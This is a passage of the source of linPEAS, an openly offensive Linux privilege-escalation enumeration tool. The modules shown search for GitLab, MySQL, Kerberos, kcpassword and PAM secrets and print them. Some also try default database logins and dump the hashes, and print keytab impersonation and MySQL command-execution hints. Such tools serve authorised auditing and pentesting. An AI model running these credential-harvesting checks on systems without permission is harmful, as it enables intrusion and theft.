enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'\"\n    echo \"Then you can get the plain-text with something like 'git clone \\@hashed/19/23/14348274[...]38749234.bundle'\"\n    echo \"\"\n  fi\n  #Check gitlab files\n  printf \"%s\\n\" \"$PSTORAGE_GITLAB\" | sort | uniq | while read f; do\n    if echo $f | grep -q secrets.yml; then\n      echo \"Found $f\" | sed \"s,$f,${SED_RED},\"\n      cat \"$f\" 2>/dev/null | grep -Iv \"^$\" | grep -v \"^#\"\n    elif echo $f | grep -q gitlab.yml; then\n      echo \"Found $f\" | sed \"s,$f,${SED_RED},\"\n      cat \"\" | grep -A 4 \"repositories:\"\n    elif echo $f | grep -q gitlab.rb; then\n      echo \"Found $f\" | sed \"s,$f,${SED_RED},\"\n      cat \"$f\" | grep -Iv \"^$\" | grep -v \"^#\" | sed -${E} \"s,email|user|password,${SED_RED},\"\n    fi\n    echo \"\"\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Kcpassword.sh",
    "content": "# Title: Software Information - kcpassword\n# ID: SI_Kcpassword\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Analyzing kcpassword files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1555.001\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_KCPASSWORD\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Analyzing kcpassword files\" \"T1555.001\"\n  print_info \"https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#kcpassword\"\n  printf \"%s\\n\" \"$PSTORAGE_KCPASSWORD\" | while read f; do\n    echo \"$f\" | sed -${E} \"s,.*,${SED_RED},\"\n    base64 \"$f\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh",
    "content": "# Title: Software Information - Kerberos\n# ID: SI_Kerberos\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Kerberos\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1558.003\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $DEBUG, $ITALIC\n# Initial Functions:\n# Generated Global Variables: $kadmin_exists, $klist_exists, $kinit_exists, $ptrace_scope\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nkadmin_exists=\"$(command -v kadmin || echo -n '')\"\nklist_exists=\"$(command -v klist || echo -n '')\"\nkinit_exists=\"$(command -v kinit || echo -n '')\"\nif [ \"$kadmin_exists\" ] || [ \"$klist_exists\" ] || [ \"$kinit_exists\" ] || [ \"$PSTORAGE_KERBEROS\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching kerberos conf files and tickets\" \"T1558.003\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-active-directory.html#linux-active-directory\"\n\n  if [ \"$kadmin_exists\" ]; then echo \"kadmin was found on $kadmin_exists\" | sed \"s,$kadmin_exists,${SED_RED},\"; fi\n  if [ \"$kinit_exists\" ]; then echo \"kadmin was found on $kinit_exists\" | sed \"s,$kinit_exists,${SED_RED},\"; fi\n  if [ \"$klist_exists\" ] && [ -x \"$klist_exists\" ]; then echo \"klist execution\"; klist; fi\n  ptrace_scope=\"$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)\"\n  if [ \"$ptrace_scope\" ] && [ \"$ptrace_scope\" -eq 0 ]; then echo \"ptrace protection is disabled (0), you might find tickets inside processes memory\" | sed \"s,is disabled,${SED_RED},g\";\n  else echo \"ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory\" | sed \"s,is enabled,${SED_GREEN},g\";\n  fi\n  \n  (env || printenv) 2>/dev/null | grep -E \"^KRB5\" | sed -${E} \"s,KRB5,${SED_RED},g\"\n\n  printf \"%s\\n\" \"$PSTORAGE_KERBEROS\" | while read f; do\n    if [ -r \"$f\" ]; then\n      if echo \"$f\" | grep -q .k5login; then\n        echo \".k5login file (users with access to the user who has this file in his home)\"\n        cat \"$f\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\"\n      elif echo \"$f\" | grep -q keytab; then\n        echo \"\"\n        echo \"keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords\"\n        klist -k \"$f\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\"\n        printf \"$(klist -k $f 2>/dev/null)\\n\" | awk '{print $2}' | while read l; do\n          if [ \"$l\" ] && echo \"$l\" | grep -q \"@\"; then\n            printf \"$ITALIC  --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \\\"$l\\\"\\n\" | sed -${E} \"s,$l,${SED_RED},g\"\n            #kadmin -k -t /etc/krb5.keytab -p \"$l\" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid\n            #We could also try to create a new user or modify a password, but I'm not user if linpeas should do that\n          fi\n        done\n      elif echo \"$f\" | grep -q krb5.conf; then\n        ls -l \"$f\"\n        cat \"$f\" 2>/dev/null | sed -${E} \"s,default_ccache_name,${SED_RED},\";\n      elif echo \"$f\" | grep -q kadm5.acl; then\n        ls -l \"$f\" \n        cat \"$f\" 2>/dev/null\n      elif echo \"$f\" | grep -q sssd.conf; then\n        ls -l \"$f\"\n        cat \"$f\" 2>/dev/null | sed -${E} \"s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},\";\n      elif echo \"$f\" | grep -q secrets.ldb; then\n        echo \"You could use SSSDKCMExtractor to extract the tickets stored here\" | sed -${E} \"s,SSSDKCMExtractor,${SED_RED},\";\n        ls -l \"$f\"\n      elif echo \"$f\" | grep -q .secrets.mkey; then\n        echo \"This is the secrets file to use with SSSDKCMExtractor\" | sed -${E} \"s,SSSDKCMExtractor,${SED_RED},\";\n        ls -l \"$f\"\n      fi\n    fi\n  done\n  ls -l \"/tmp/krb5cc*\" \"/var/lib/sss/db/ccache_*\" \"/etc/opt/quest/vas/host.keytab\" 2>/dev/null || echo_not_found \"tickets kerberos\"\n  klist 2>/dev/null || echo_not_found \"klist\"\n  echo \"\"\n\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Log4shell.sh",
    "content": "# Title: Software Information - Searching Log4Shell vulnerable libraries\n# ID: SI_Log4shell\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching Log4Shell vulnerable libraries\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1190\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$PSTORAGE_LOG4SHELL\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching Log4Shell vulnerable libraries\" \"T1190\"\n  printf \"%s\\n\" \"$PSTORAGE_LOG4SHELL\" | while read f; do\n    echo \"$f\" | grep -E \"log4j\\-core\\-(1\\.[^0]|2\\.[0-9][^0-9]|2\\.1[0-6])\" | sed -${E} \"s,log4j\\-core\\-(1\\.[^0]|2\\.[0-9][^0-9]|2\\.1[0-6]),${SED_RED},\";\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Logstash.sh",
    "content": "# Title: Software Information - Logstash\n# ID: SI_Logstash\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching logstash files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_LOGSTASH\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching logstash files\" \"T1552.001\"\n  printf \"$PSTORAGE_LOGSTASH\"\n  printf \"%s\\n\" \"$PSTORAGE_LOGSTASH\" | while read d; do\n    if [ -r \"$d/startup.options\" ]; then\n      echo \"Logstash is running as user:\"\n      cat \"$d/startup.options\" 2>/dev/null | grep \"LS_USER\\|LS_GROUP\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed -${E} \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed -${E} \"s,root,${SED_RED},\"\n    fi\n    cat \"$d/conf.d/out*\" | grep \"exec\\s*{\\|command\\s*=>\" | sed -${E} \"s,exec\\W*\\{|command\\W*=>,${SED_RED},\"\n    cat \"$d/conf.d/filt*\" | grep \"path\\s*=>\\|code\\s*=>\\|ruby\\s*{\" | sed -${E} \"s,path\\W*=>|code\\W*=>|ruby\\W*\\{,${SED_RED},\"\n  done\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Mysql.sh",
    "content": "# Title: Software Information - Mysql\n# ID: SI_Mysql\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Mysql credentials\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $DEBUG, $USER, $STRINGS\n# Initial Functions:\n# Generated Global Variables: $mysqluser, $mysqlexec, $mysqlconnect, $mysqlconnectnopass, $mysqluser, $version_output, $major_version, $version, $process_info\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_MYSQL\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching mysql credentials and exec\" \"T1552.001\"\n  printf \"%s\\n\" \"$PSTORAGE_MYSQL\" | while read d; do\n    if [ -f \"$d\" ] && ! [ \"$(basename $d)\" = \"mysql\" ]; then # Only interested in \"mysql\" that are folders (filesaren't the ones with creds)\n      echo \"Potential file containing credentials:\"\n      ls -l \"$d\"\n      if [ \"$STRINGS\" ]; then\n        strings \"$d\"\n      else\n        echo \"Strings not found, cat the file and check it to get the creds\"\n      fi\n\n    else\n      for f in $(find $d -name debian.cnf 2>/dev/null); do\n        if [ -r \"$f\" ]; then\n          echo \"We can read the mysql debian.cnf. You can use this username/password to log in MySQL\" | sed -${E} \"s,.*,${SED_RED},\"\n          cat \"$f\"\n        fi\n      done\n      \n      for f in $(find $d -name user.MYD 2>/dev/null); do\n        if [ -r \"$f\" ]; then\n          echo \"We can read the Mysql Hashes from $f\" | sed -${E} \"s,.*,${SED_RED},\"\n          grep -oaE \"[-_\\.\\*a-zA-Z0-9]{3,}\" \"$f\" | grep -v \"mysql_native_password\"\n        fi\n      done\n      \n      for f in $(grep -lr \"user\\s*=\" $d 2>/dev/null | grep -v \"debian.cnf\"); do\n        if [ -r \"$f\" ]; then\n          u=$(cat \"$f\" | grep -v \"#\" | grep \"user\" | grep \"=\" 2>/dev/null)\n          echo \"From '$f' Mysql user: $u\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\"\n        fi\n      done\n      \n      for f in $(find $d -name my.cnf 2>/dev/null); do\n        if [ -r \"$f\" ]; then\n          echo \"Found readable $f\"\n          grep -v \"^#\" \"$f\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null | grep -Iv \"^$\" | sed \"s,password.*,${SED_RED},\"\n        fi\n      done\n    fi\n    \n    mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep \"lib_mysqludf_sys\\.so\")\n    if [ \"$mysqlexec\" ]; then\n      echo \"Found $mysqlexec. $(whereis lib_mysqludf_sys.so)\"\n      echo \"If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');\" | sed -${E} \"s,.*,${SED_RED},\"\n    fi\n  done\nfi\necho \"\"\n\n#-- SI) Mysql version\nif [ \"$(command -v mysql || echo -n '')\" ] || [ \"$(command -v mysqladmin || echo -n '')\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"MySQL version\" \"T1552.001\"\n  mysql --version 2>/dev/null || echo_not_found \"mysql\"\n  mysqluser=$(systemctl status mysql 2>/dev/null | grep -o \".\\{0,0\\}user.\\{0,50\\}\" | cut -d '=' -f2 | cut -d ' ' -f1)\n  if [ \"$mysqluser\" ]; then\n    echo \"MySQL user: $mysqluser\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\"\n  fi\n  echo \"\"\n  echo \"\"\n\n  #-- SI) Mysql connection root/root\n  print_list \"MySQL connection using default root/root ........... \"\n  mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null)\n  if [ \"$mysqlconnect\" ]; then\n    echo \"Yes\" | sed -${E} \"s,.*,${SED_RED},\"\n    mysql -u root --password=root -e \"SELECT User,Host,authentication_string FROM mysql.user;\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  #-- SI) Mysql connection root/toor\n  print_list \"MySQL connection using root/toor ................... \"\n  mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null)\n  if [ \"$mysqlconnect\" ]; then\n    echo \"Yes\" | sed -${E} \"s,.*,${SED_RED},\"\n    mysql -u root --password=toor -e \"SELECT User,Host,authentication_string FROM mysql.user;\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  #-- SI) Mysql connection root/NOPASS\n  mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null)\n  print_list \"MySQL connection using root/NOPASS ................. \"\n  if [ \"$mysqlconnectnopass\" ]; then\n    echo \"Yes\" | sed -${E} \"s,.*,${SED_RED},\"\n    mysql -u root -e \"SELECT User,Host,authentication_string FROM mysql.user;\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n  echo \"\"\nfi\n\n### This section checks if MySQL (mysqld) is running as root and if its version is 4.x or 5.x to refer a known local privilege escalation exploit! ###\n\n# Find the mysqld process\nprocess_info=$(ps aux | grep '[m]ysqld' | head -n1)\n\nif [ -z \"$process_info\" ]; then\n  echo \"MySQL process not found.\" | sed -${E} \"s,.*,${SED_GREEN},\"\nelse\n\n  # Extract the process user\n  mysqluser=$(echo \"$process_info\" | awk '{print $1}')\n\n  # Get the MySQL version string\n  version_output=$(mysqld --version 2>&1)\n\n  # Extract the version number (expects format like X.Y.Z)\n  version=$(echo \"$version_output\" | grep -oE '[0-9]+\\.[0-9]+\\.[0-9]+' | head -n1)\n\n  if [ -z \"$version\" ]; then\n    echo \"Unable to determine MySQL version.\" | sed -${E} \"s,.*,${SED_GREEN},\"\n  else\n\n    # Extract the major version number (X from X.Y.Z)\n    major_version=$(echo \"$version\" | cut -d. -f1)\n\n    # Check if MySQL is running as root and if the version is either 4.x or 5.x\n    if [ \"$mysqluser\" = \"root\" ] && { [ \"$major_version\" -eq 4 ] || [ \"$major_version\" -eq 5 ]; }; then\n      echo \"MySQL is running as root with version $version. This is a potential local privilege escalation vulnerability!\" | sed -${E} \"s,.*,${SED_RED},\"\n      echo \"\\tRefer to: https://www.exploit-db.com/exploits/1518\" | sed -${E} \"s,.*,${SED_YELLOW},\"\n      echo \"\\tRefer to: https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf\" | sed -${E} \"s,.*,${SED_YELLOW},\"\n    else\n      echo \"MySQL is running as user '$mysqluser' with version $version.\" | sed -${E} \"s,.*,${SED_GREEN},\"\n    fi\n    ### ------------------------------------------------------------------------------------------------------------------------------------------------ ###\n  \n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/PGP_GPG.sh",
    "content": "# Title: Software Information - PGP-GPG\n# ID: SI_PGP_GPG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: PGP-GPG\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.004\n# Functions Used: echo_not_found\n# Global Variables: \n# Initial Functions: \n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npeass{PGP-GPG}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/PHP_Sessions.sh",
    "content": "# Title: Software Information - PHP Sessions\n# ID: SI_PHP_Sessions\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: PHP Sessions\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: echo_not_found\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npeass{PHP Sessions}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Pamd.sh",
    "content": "# Title: Software Information - Pam.d\n# ID: SI_Pamd\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Passwords inside pam.d\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1556.003\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables: $pamdpass\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npamdpass=$(grep -Ri \"passwd\"  ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v \":#\")\nif [ \"$pamdpass\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Passwords inside pam.d\" \"T1556.003\"\n  grep -Ri \"passwd\"  ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v \":#\" | sed \"s,passwd,${SED_RED},\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Postgresql.sh",
    "content": "# Title: Software Information - PostgreSQL\n# ID: SI_Postgresql\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: PostgreSQL brute\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: echo_no, print_list, warn_exec\n# Global Variables: $DEBUG, $TIMEOUT\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npeass{PostgreSQL}\n\nif [ \"$TIMEOUT\" ] && [ \"$(command -v psql || echo -n '')\" ] || [ \"$DEBUG\" ]; then  # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the \"timeout\" command so lets only use this checks in OS that has it.\n#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this\n  print_list \"PostgreSQL connection to template0 using postgres/NOPASS ........ \"\n  if [ \"$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)\" ]; then echo \"Yes\" | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  print_list \"PostgreSQL connection to template1 using postgres/NOPASS ........ \"\n  if [ \"$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)\" ]; then echo \"Yes\" | sed \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  print_list \"PostgreSQL connection to template0 using pgsql/NOPASS ........... \"\n  if [ \"$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)\" ]; then echo \"Yes\" | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  print_list \"PostgreSQL connection to template1 using pgsql/NOPASS ........... \"\n  if [ \"$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)\" ]; then echo \"Yes\" | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Postgresql_Event_Triggers.sh",
    "content": "# Title: Software Information - PostgreSQL Event Triggers\n# ID: SI_Postgresql_Event_Triggers\n# Author: HT Bot\n# Last Update: 19-11-2025\n# Description: Detect unsafe PostgreSQL event triggers and postgres_fdw custom scripts that grant temporary SUPERUSER\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1505.001\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $DEBUG, $E, $SED_GREEN, $SED_RED, $SED_YELLOW, $TIMEOUT\n# Initial Functions:\n# Generated Global Variables: $psql_bin, $psql_evt_output, $psql_evt_status, $psql_evt_err_line, $postgres_fdw_dirs, $postgres_fdw_hits, $old_ifs, $evtname, $enabled, $owner, $owner_is_super, $func, $func_owner, $func_owner_is_super, $IFS\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$DEBUG\" ] || { [ \"$TIMEOUT\" ] && [ \"$(command -v psql 2>/dev/null || echo -n '')\" ]; }; then\n  print_2title \"PostgreSQL event trigger ownership & postgres_fdw hooks\" \"T1505.001\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#postgresql-event-triggers\"\n\n  psql_bin=\"$(command -v psql 2>/dev/null || echo -n '')\"\n  if [ \"$TIMEOUT\" ] && [ \"$psql_bin\" ]; then\n    psql_evt_output=\"$($TIMEOUT 5 \"$psql_bin\" -w -X -q -A -t -d postgres -c \"WITH evt AS ( SELECT e.evtname, e.evtenabled, pg_get_userbyid(e.evtowner) AS trig_owner, tr.rolsuper AS trig_owner_super, n.nspname || '.' || p.proname AS function_name, pg_get_userbyid(p.proowner) AS func_owner, fr.rolsuper AS func_owner_super FROM pg_event_trigger e JOIN pg_proc p ON e.evtfoid = p.oid JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_roles tr ON tr.oid = e.evtowner LEFT JOIN pg_roles fr ON fr.oid = p.proowner ) SELECT evtname || '|' || evtenabled || '|' || COALESCE(trig_owner,'?') || '|' || COALESCE(CASE WHEN trig_owner_super THEN 'yes' ELSE 'no' END,'unknown') || '|' || function_name || '|' || COALESCE(func_owner,'?') || '|' || COALESCE(CASE WHEN func_owner_super THEN 'yes' ELSE 'no' END,'unknown') FROM evt WHERE COALESCE(trig_owner_super,false) = false OR COALESCE(func_owner_super,false) = false;\" 2>&1)\"\n    psql_evt_status=$?\n    if [ $psql_evt_status -eq 0 ]; then\n      if [ \"$psql_evt_output\" ]; then\n        echo \"Non-superuser-owned event triggers were found (trigger|enabled?|owner|owner_is_super|function|function_owner|fn_owner_is_super):\" | sed -${E} \"s,.*,${SED_RED},\"\n        printf \"%s\\n\" \"$psql_evt_output\" | while IFS='|' read evtname enabled owner owner_is_super func func_owner func_owner_is_super; do\n          case \"$enabled\" in\n            O) enabled=\"enabled\" ;;\n            D) enabled=\"disabled\" ;;\n            *) enabled=\"status_$enabled\" ;;\n          esac\n          echo \"  - $evtname ($enabled) uses $func owned by $func_owner (superuser:$func_owner_is_super); trigger owner: $owner (superuser:$owner_is_super)\" | sed -${E} \"s,superuser:no,${SED_RED},g\"\n        done\n      else\n        echo \"No event triggers owned by non-superusers were returned.\" | sed -${E} \"s,.*,${SED_GREEN},\"\n      fi\n    else\n      psql_evt_err_line=$(printf '%s\\n' \"$psql_evt_output\" | head -n1)\n      echo \"Could not query pg_event_trigger (psql exit $psql_evt_status): $psql_evt_err_line\" | sed -${E} \"s,.*,${SED_YELLOW},\"\n    fi\n  else\n    if ! [ \"$TIMEOUT\" ]; then\n      echo_not_found \"timeout\"\n    fi\n    if ! [ \"$psql_bin\" ]; then\n      echo_not_found \"psql\"\n    fi\n  fi\n\n  postgres_fdw_dirs=\"/etc/postgresql /var/lib/postgresql /var/lib/postgres /usr/lib/postgresql /usr/local/lib/postgresql /opt/supabase /opt/postgres /srv/postgres\"\n  postgres_fdw_hits=\"\"\n  for d in $postgres_fdw_dirs; do\n    if [ -d \"$d\" ]; then\n      old_ifs=\"$IFS\"\n      IFS=\"\\n\"\n      for f in $(find \"$d\" -maxdepth 5 -type f \\( -name '*postgres_fdw*.sql' -o -name '*postgres_fdw*.psql' -o -name 'after-create.sql' \\) 2>/dev/null); do\n        if [ -f \"$f\" ] && grep -qiE \"alter[[:space:]]+role[[:space:]]+postgres[[:space:]]+superuser\" \"$f\" 2>/dev/null; then\n          postgres_fdw_hits=\"$postgres_fdw_hits\\n$f\"\n        fi\n      done\n      IFS=\"$old_ifs\"\n    fi\n  done\n\n  if [ \"$postgres_fdw_hits\" ]; then\n    echo \"Detected postgres_fdw custom scripts granting postgres SUPERUSER (check for SupaPwn-style window):\" | sed -${E} \"s,.*,${SED_RED},\"\n    printf \"%s\\n\" \"$postgres_fdw_hits\" | sed \"s,^,  - ,\"\n  fi\nfi\n\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Runc.sh",
    "content": "# Title: Software Information - Runc\n# ID: SI_Runc\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Runc\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1613,T1611\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables: $runc\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  runc=$(command -v runc || echo -n '')\n  if [ \"$runc\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Checking if runc is available\" \"T1613,T1611\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#runc--privilege-escalation\"\n    if [ \"$runc\" ]; then\n      echo \"runc was found in $runc, you may be able to escalate privileges with it\" | sed -${E} \"s,.*,${SED_RED},\"\n    fi\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/SKey.sh",
    "content": "# Title: Software Information - S/Key athentication\n# ID: SI_SKey\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: S/Key athentication\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1556\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $IAMROOT\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif (grep auth= /etc/login.conf 2>/dev/null | grep -v \"^#\" | grep -q skey) || [ \"$DEBUG\" ] ; then\n  print_2title \"S/Key authentication\" \"T1556\"\n  printf \"System supports$RED S/Key$NC authentication\\n\"\n  if ! [ -d /etc/skey/ ]; then\n    echo \"${GREEN}S/Key authentication enabled, but has not been initialized\"\n  elif ! [ \"$IAMROOT\" ] && [ -w /etc/skey/ ]; then\n    echo \"${RED}/etc/skey/ is writable by you\"\n    ls -ld /etc/skey/\n  else\n    ls -ld /etc/skey/ 2>/dev/null\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh",
    "content": "# Title: Software Information - Screen sessions\n# ID: SI_Screen_sessions\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Screen sessions\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1563\n# Functions Used: print_2title, print_info\n# Global Variables:$DEBUG, $SEARCH_IN_FOLDER, $USER, $wgroups\n# Initial Functions:\n# Generated Global Variables: $screensess, $screensess2, $uscreen\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif (command -v screen >/dev/null 2>&1 || [ -d \"/run/screen\" ] || [ \"$DEBUG\" ]) && ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Searching screen sessions\" \"T1563\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-shell-sessions\"\n  screensess=$(screen -ls 2>/dev/null)\n  screensess2=$(find /run/screen -type d -path \"/run/screen/S-*\" 2>/dev/null)\n  \n  screen -v\n  printf \"$screensess\\n$screensess2\" | sed -${E} \"s,.*,${SED_RED},\" | sed -${E} \"s,No Sockets found.*,${C}[32m&${C}[0m,\"\n  \n  find /run/screen -type s -path \"/run/screen/S-*\" -not -user $USER '(' '(' -perm -o=w ')' -or  '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do\n    echo \"Other user screen socket is writable: $f\" | sed \"s,$f,${SED_RED_YELLOW},\"\n  done\n\n  if [ -r \"/etc/passwd\" ]; then\n    print_3title \"Checking other users screen sessions\" \"T1563\"\n    cut -d: -f1,7 /etc/passwd 2>/dev/null | grep \"sh$\" | cut -d: -f1 | grep -v \"^$USER$\" | while read u; do\n      uscreen=$(screen -ls \"${u}/\" 2>/dev/null | grep -v \"No Sockets found\" | grep -v \"^$\")\n      if [ \"$uscreen\" ]; then\n        echo \"User $u screen sessions:\"\n        printf \"%s\\n\" \"$uscreen\" | sed -${E} \"s,.*,${SED_RED},\"\n      fi\n    done\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Splunk.sh",
